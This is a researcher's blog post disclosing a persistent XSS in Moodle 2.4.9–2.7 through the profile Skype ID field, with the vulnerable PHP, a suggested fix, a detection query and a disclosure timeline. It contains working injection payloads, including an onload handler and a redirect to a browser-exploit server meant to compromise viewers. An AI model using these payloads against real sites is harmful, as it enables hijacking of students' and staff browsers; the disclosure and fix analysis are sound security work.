Moodle 2.7 Persistent XSS


I hope you all have heard about the Moodle project. The full form is Moodle Modular Object-Oriented Dynamic Learning Environment. This project is a free open-source project which focuses in teaching and learning online courses effectively. Most of the universities, colleges, educational institutes use this application in interacting with students. You can read and research more information on Wikipedia.

Vulnerability and Exploit

This is a persistent XSS I found in Moodle 2.7. Well, this vulnerability was present from the version 2.4.9 till 2.7 so far hidden from the eye 😉 luckily I spotted this while I was fuzzing random stuff against the application.

Edit your user profile and under “Optional” you can see “Skype ID”. Let’s inject some HTML into the Skype ID field and check the output

“>>><h1>Hello World</h1>

It seems like our input is echoed back thrice. In one line the input is being URL encoded since it should be the URL of the user and in another it is being converted to HTML entities, while in the other field it seems like our input is being filtered out. I love to break filters. Here is my quick and small analysis in detail.

Output 1:

<a href=”skype:%22%3E%3E%3EHello+World?call”>

Output 2:

&quot;&gt;&gt;&gt;Hello World

Output 3:

<img src=””>>>Hello World” class=”icon icon-post” alt=”Status” />

I was interested in the third output since our input ">>><h1>Hello World</h1> is being stripped down to >>>Hello World

This means HTML tags are not a solution since they are filtered. What about JS event handlers? 😉

In this case our restrictions are the HTML tags and the length should be maximum 50 characters. We cannot exceed this limit since it would throw us an exception. So we have to craft our payload in a way which would suite this situation.

Using JS event handlers let’s craft something like this

x”  onload=”prompt(‘XSS by Osanda’)”>

w00t! It works nicely 🙂

Let’s check the output. Our crafted part works fine 🙂

<img src="" onload="prompt('XSS by Osanda')">

Compromising Users

I know you would probably think that XSS is not a big deal. That is how most of the people think, some see it as a just a popup 😀 But this is persistent XSS, so basically there are lot of attack vectors out there. BeEF, OWASP Xenotix XSS Exploit Framework are some of the popular tools in which you can experiment. In here for the post’s sake I would be directly using brower_autopwn to demonstrate how this vulnerability could lead to compromise a system.

Taking all the restrictions into consideration we can craft our payload like this. I have used to shorten our long URL.

x" onload=window.location="">

Most of the time webmasters take time to upgrade their software. Since this is widely used by students it would be fun exploiting. So at least by watching the above video I hope you would upgrade to the latest version from here


After looking into the code this is what I’ve found out. Let’s start reversing 🙂


if ($user->skype && !isset($hiddenfields['skypeid'])) {
    $imurl = 'skype:'.urlencode($user->skype).'?call';
    $iconurl = new moodle_url(''.$user->skype);
    if (strpos($CFG->httpswwwroot, 'https:') === 0) {
        // Bad luck, skype devs are lazy to set up SSL on their servers - see MDL-37233.
        $statusicon = '';
    } else {
        $statusicon = html_writer::empty_tag('img',
            array('src' => $iconurl, 'class' => 'icon icon-post', 'alt' => get_string('status')));
    echo html_writer::tag('dt', get_string('skypeid'));
    echo html_writer::tag('dd', html_writer::link($imurl, s($user->skype) . $statusicon));

This is how we see the three outputs

echo html_writer::tag('dd', html_writer::link($imurl, s($user-&gt;skype) . $statusicon));

The $imurl variable as you see the URL encodes the output

s($user->skype) filters our input into HTML entities. More info about s() view here

The $statusicon variable is the one which echoes our XSS payload in here.

This is the code of $statusicon

        $statusicon = html_writer::empty_tag('img',
            array('src' => $iconurl, 'class' => 'icon icon-post', 'alt' => get_string('status')));

Yep, as in the HTML output above the $iconurl is the vulnerable part in here.

This is the code of $iconurl

$iconurl = new moodle_url(''.$user-&gt;skype);

Even though a new moodle_url object has been created it seems to be buggy in filtering quotes. So the issue relies on their API too. Since this URL and needs to be encoded you can fix this issue by passing $user->skype inside urlencode().

$iconurl = new moodle_url(''.urlencode($user-&gt;skype));

Since this is stored XSS and if someone was able to store a valid XSS payload in the database before, it will be executed anytime regardless of patching or upgrading. You can run this query against all the registered users and find out whether your database contains any kind of malicious payloads.

SELECT username, firstname, lastname,skype FROM mdl_user;

I wouldn’t recommend you to fix and think that you are secure. There can be many other issues fixed in the latest stable version. So please upgrade to the latest version from here

Disclosure Timeline

2014-05-24: Responsibly disclosed to the Vendor
2014-05-27: Suggested a fix
2014-06-04: Fix got accepted
2014-07-21: Vendor releases a security announcement
2014-07-24: Released Moodle 2.7.1 stable with all patches

I got into the developers list as well 🙂 I hope to contribute more into this project in a way I can 🙂

I would be very thankful to Petr Skoda, Michael de Raadt, Frédéric Massart, Dan Poltawski, Marina Glancy and all the developers who collaborated with me in this issue in a friendly manner.

 More Information


8 thoughts on “Moodle 2.7 Persistent XSS

  1. Very informative, especially the video. Congratulations to you, Osanda, for finding the persistent XSS vulnerability and for demonstrating (in the video) how to exploit it. As I understand it, the video demonstrates a generic method of exploiting any persistent XSS vulnerability, which makes it all the more useful. Perhaps you may consider creating a blog post where you could outline this generic method of exploitation, as well as other methods for other exploitations as well.

    As you mention, people may not realize how an attacker may utilize a persistent XSS vulnerability such as this one, so you help us all by explaining how such a vulnerability can lead to a compromised system.

    The point I am trying to make is that I really would like to see you bring forth not only the vulnerabilities, but also provide us with the methods of their exploitation, just as you did in this video. This would make your extremely interesting blog posts even more interesting.

    Again, congratulations for your work. Your knowledge and thinking never ceases to amaze me.

    • Thank you very much Sir. ! Yeah most of the time people won’t care XSS that much. Since this is stored XSS in the user profile where users view each other, the risk is very crtitical.

  2. Pingback: SB14-216: Vulnerability Summary for the Week of July 27, 2014 « CyberSafe NV

  3. Pingback: Vulnerability Summary for the Week of July 27, 2014 | US-CERT

  4. Pingback: Vulnerability Summary for the Week of July 28, 2014 | US-CERT

  5. Pingback: SB14-216: Vulnerability Summary for the Week of July 28, 2014 | Lions News Archive

  6. Pingback: SB14-216: Vulnerability Summary for the Week of July 28, 2014 | 007 Software

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s